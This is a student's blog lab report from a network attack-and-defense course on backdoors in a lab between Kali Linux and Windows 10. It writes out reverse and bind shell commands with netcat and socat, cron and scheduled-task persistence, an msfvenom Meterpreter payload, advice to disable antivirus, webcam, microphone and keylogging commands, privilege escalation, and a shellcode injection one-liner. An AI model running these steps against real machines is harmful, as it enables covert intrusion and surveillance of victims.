2019-2020-2 20174317祝源《网络对抗技术》Exp2 后门原理与实践

1. 实验原理

1.1. 后门概念

后门就是不经过正常认证流程而访问系统的通道。

相对狭义的后门概念:

  • 特指潜伏于操作系统中专门做后门的一个程序,
  • “坏人”可以连接这个程序
  • 远程执行各种指令。
  • 概念和木马有重叠

1.2. 哪里有后门

  • 编译器留后门
  • 操作系统留后门
  • 最常见的当然还是应用程序中留后门
  • 潜伏于操作系统中或伪装为特定应用的专用后门程序

1.3. 常用工具

1.3.1. netcat

又名ncncat,是一个底层工具,进行基本的TCP和UDP数据收发。常被与其他工具结合使用,起到后门的作用。

  • Linux中一般自带netcat,可以使用man netcatman nc查看使用说明。
  • Windows需要自行下载。
  • Mac系统自带nc,使用man nc查看使用说明

1.3.2. socat

可以看作necat的加强版,有一些netcat所不具备却又很有需求的功能,例如ssl连接。

1.3.3. msfvenom和metasploit

msfvenom是一款用来生成后门的软件。

Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。

如果说msfvenom生成的木马是前端,那么可以称MSF为后端。

2. 实验内容

靶机为 Windows 10,IP为192.168.0.106
攻击机是Kali Linux,IP为192.168.0.105

2.1. 使用netcat获取主机操作Shell,cron启动

  • 在Kali中使用命令crontab -e添加定时任务,第一次启动时选择编辑器2。

  • 在文件最后一行添加12 * * * * /bin/netcat 192.168.0.106 4317 -e /bin/sh,表示每小时的第12分钟,反向连接192.168.0.1064317端口,并执行/bin/sh。-e的效果是由你指定的程序代替了nc自己来接受另一端的输入,并把输入(命令)后反馈的结果显示到另一端。

    Linux_cron_add_job

  • 12分后,在Windows10主机中执行ncat -l 4317,进行验证,发现连接成功。

    windows_ncat

2.2. 使用socat获取主机操作Shell, 任务计划启动

  • 在Windows主机中左下角的Windows徽标上右键单击,选择计算机管理,再选择任务计划程序,点击创建任务。

  • 名称任意,我设置的是wewwew,在触发器选项卡中点击新建,我这里设置开始任务为:工作站锁定时,并勾选已启用

    new_chufaqi

  • 操作选项卡中点击新建,设置操作为启动程序,并选择已经解压的socta程序,在添加参数中输入tcp-listen:<端口号> exec:cmd.exe,pty,stderr,这个命令把cmd.exe绑定到设置的端口号,同时把cmd.exe的stderr重定向到stdout上。设置完后点击确定保存新任务。

    new_exec

  • 先按Win+L锁定工作站,然后解锁,再次进入任务计划程序,选择查看所有正在运行的任务,可以看到刚才添加的任务已经启动了。第一次启动socat时会要求通过防火墙,选择允许即可。

    success

  • 在Kali中,输入socat - tcp:192.168.0.106:4317,可以获取到cmd shell

2.3. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 在Kali中输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00x0axff' LHOST=192.168.0.105 LPORT=4317 -f exe > zy20174317_backdoor.exe生成带有后门的可执行文件,其中-p表示使用的payload。这里windows/meterpreter/reverse_tcp就是一段shellcode,表示windows反向连接kali。-e指定编码器,-b表示shellcode中避免出现的字符.由于这里使用的是反向连接,所以LHOST需要时设置为Kali的IP。

    生生成后门程序

  • 使用nc传输文件:先在Windows中执行ncat -l 4317 > zy20174317_backdoor.exe,然后在Kali中执行nc 192.168.0.106 4317 < zy20174317_backdoor.exe,将文件从Kali中传到Windows中。

    在传输前记得关闭杀毒软件和防火墙,例如Win10自带的Windows Defender。
    传输完成后连接不会自动关闭,可以通过查看文件大小来判断传输是否完成,然后手动关闭连接。

  • 可以看到成功接收了文件:

  • 在Kali中执行msfconsole指令进入msf控制台。

    • 输入use exploit/multi/handler使用侦听模块,设置payload。
    • set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload。
    • set LHOST 192.168.0.105,这里用的是Kali的IP,和生成后门程序时指定的IP相同。
    • set LPORT 4317,使用相同的端口。
    • 可以使用show options来查看设置。

  • 设置完成后,输入exploit执行监听。在Windows中运行后门程序,Kail上可以获得Windows的Shell。

2.4. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 使用record_mic指令可以截获一段音频。

    参数列表
    -h:显示帮助。
    -d :记录的秒数,默认为1秒
    -f :wav文件路径。默认为HOME / [随机乱码名字] .wav
    -p :自动播放捕获的音频,默认为“true”。

  • 使用webcam_snap指令可以使用摄像头进行拍照。

    参数列表
    -h:显示帮助。
    -i :要使用的网络摄像头的索引号。
    -p :JPEG图像文件路径。默认为HOME / [随机乱码名字] .jpeg
    -q :JPEG图像质量,默认为“50”。
    -v :自动查看JPEG图像,默认为“true”。

  • 使用screenshot指令可以截屏。

  • 使用keysacn_start指令开始记录击键,使用keyscan_dump指令读取击键记录。

  • 使用getuid指令查看当前用户,使用getsystem指令进行提权操作。

  • 最开始提权是失败了的,后来参考这篇博客,提权成功。

2.5. 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell,加分内容一并写入本实验报告。

  • 输入msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4317 -f c得到shellcode:

  • 参考实验一,关闭地址随机化,设置堆栈可执行。然后找到shellcode的起始地址,仍然为0xffffd350

perl -e 'print "A" x 32; print "\x50\xd3\xff\xff\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x00\x00\x01\x68\x02\x00\x10\xdd\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"' > 20174317_shellcode


* 在新的终端中打开msf控制台,参考前面的步骤,依次输入:
  ```bash
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp //生成shellcode时使用的playload
set LHOST 127.0.0.1
set LPORT 4317
exploit //设置完成,开始侦听
  • 在前一个终端中执行(cat 20174317_shellcode;cat) | ./20174317-pwn1注入shellcode

  • 可以发现在msf控制台中已经获得了shell

3. 基础问题回答

3.1. 例举你能想到的一个后门进入到你系统中的可能方式?

在不是官网的第三方网站上下载盗版软件啊,别人传给我的电影、PDF文档、图片都可能隐藏有后门程序。还有就是那些装机网站上的系统镜像,说不定也隐藏有后门。

3.2. 例举你知道的后门如何启动起来(win及linux)的方式?

linux:比如说实验中用到的cron,还有就是把自己注册为系统服务。

win:实验中用到的任务计划程序,也可以修改注册表,也有可能和某个的程序绑定,启动那个程序就会让后门也启动。

3.3. Meterpreter有哪些给你映像深刻的功能?

每个功能都让我印象深刻,特别是录音和用摄像头拍照这两个,感觉要是自己电脑中了后门的话就毫无隐私了。

3.4. 如何发现自己有系统有没有被安装后门?

可以查看系统中安装的服务,看看有没有比较奇怪的服务。还有就是可以查看电脑上的端口开放情况,还有就是使用杀软来扫描。现在杀毒软件会监控应用程序的活动,如果发现经常莫名奇妙弹出警告的话也可能是被安装后门了。

4. 实验感悟

这次实验学习了后门相关的知识,还用了necat、socat、msf这些工具来生成后门程序并获取shell,其中msf让我印象深刻。在这次实验前,经常看到关于漏洞的新闻,但没有想到电脑会这么容易被攻击。经过这次实验,我的安全意识提高了很多。

5. 遇到的问题及解决方案

5.1. 无法运行后门程序

问题:

在Windows中运行可执行后门程序时出错:

检查后发现是权限不足,查看文件属性,在安全选项卡中,选择编辑,将Everyone的权限设置为完全控制,然后点击高级,将权限条目中的第一行删除:

posted @ 2020-03-22 21:06  小小的嘤嘤怪  阅读(230)  评论(0编辑  收藏  举报
TOP